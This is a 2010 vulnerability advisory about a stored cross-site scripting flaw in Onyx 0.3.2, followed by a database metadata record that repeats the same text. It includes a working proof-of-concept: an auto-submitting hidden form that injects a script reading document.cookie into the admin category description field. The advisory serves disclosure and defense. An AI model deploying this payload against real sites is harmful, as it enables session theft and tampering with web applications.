Vulnerability ID: HTB22537
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx_1.html
Product: Onyx
Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx )
Vulnerable Version: 0.3.2 and Probably Prior Versions
Vendor Notification: 27 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the admin/categories/update script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/categories/update/1" method="post" name="main" >
<input type="hidden" name="category[name]" value="General" />
<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />
<input type="hidden" name="category[created_at(1i)]" value="2010" />
<input type="hidden" name="category[created_at(2i)]" value="7" />
<input type="hidden" name="category[created_at(3i)]" value="23" />
<input type="hidden" name="category[created_at(4i)]" value="04" />
<input type="hidden" name="category[created_at(5i)]" value="00" />
<input type="hidden" name="commit" value="Edit" />
</form>
<script>
document.main.submit();
</script>
{"id": "SECURITYVULNS:DOC:24521", "bulletinFamily": "software", "title": "XSS vulnerability in Onyx", "description": "Vulnerability ID: HTB22537\r\nReference: http://www.htbridge.ch/advisory/xss_vulnerability_in_onyx_1.html\r\nProduct: Onyx\r\nVendor: Hulihan Applications ( http://hulihanapplications.com/projects/onyx ) \r\nVulnerable Version: 0.3.2 and Probably Prior Versions\r\nVendor Notification: 27 July 2010 \r\nVulnerability Type: Stored XSS (Cross Site Scripting)\r\nStatus: Not Fixed, Vendor Alerted, Awaiting Vendor Response\r\nRisk level: Medium \r\nCredit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) \r\n\r\nVulnerability Details:\r\nUser can execute arbitrary JavaScript code within the vulnerable application.\r\n\r\nThe vulnerability exists due to failure in the admin/categories/update script to properly sanitize user-supplied input in "category[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.\r\n\r\nAn attacker can use browser to exploit this vulnerability. The following PoC is available:\r\n\r\n<form action="http://host/admin/categories/update/1" method="post" name="main" >\r\n\r\n<input type="hidden" name="category[name]" value="General" />\r\n<input type="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>' />\r\n<input type="hidden" name="category[created_at(1i)]" value="2010" />\r\n<input type="hidden" name="category[created_at(2i)]" value="7" />\r\n<input type="hidden" name="category[created_at(3i)]" value="23" />\r\n<input type="hidden" name="category[created_at(4i)]" value="04" />\r\n<input type="hidden" name="category[created_at(5i)]" value="00" />\r\n<input type="hidden" name="commit" value="Edit" />\r\n\r\n</form>\r\n<script>\r\ndocument.main.submit();\r\n</script>\r\n\r\n", "published": "2010-08-14T00:00:00", "modified": "2010-08-14T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:24521", "reporter": "Securityvulns", "references": [], "cvelist": [], "type": "securityvulns", "lastseen": "2018-08-31T11:10:36", "edition": 1, "viewCount": 18, "enchantments": {"score": {"value": 0.7, "vector": "NONE"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11070"]}], "rev": 4}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.7}, "affectedSoftware": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645574914, "score": 1659803227}, "_internal": {"score_hash": "fa9dda92da35706e4746ce97afb6efe1"}}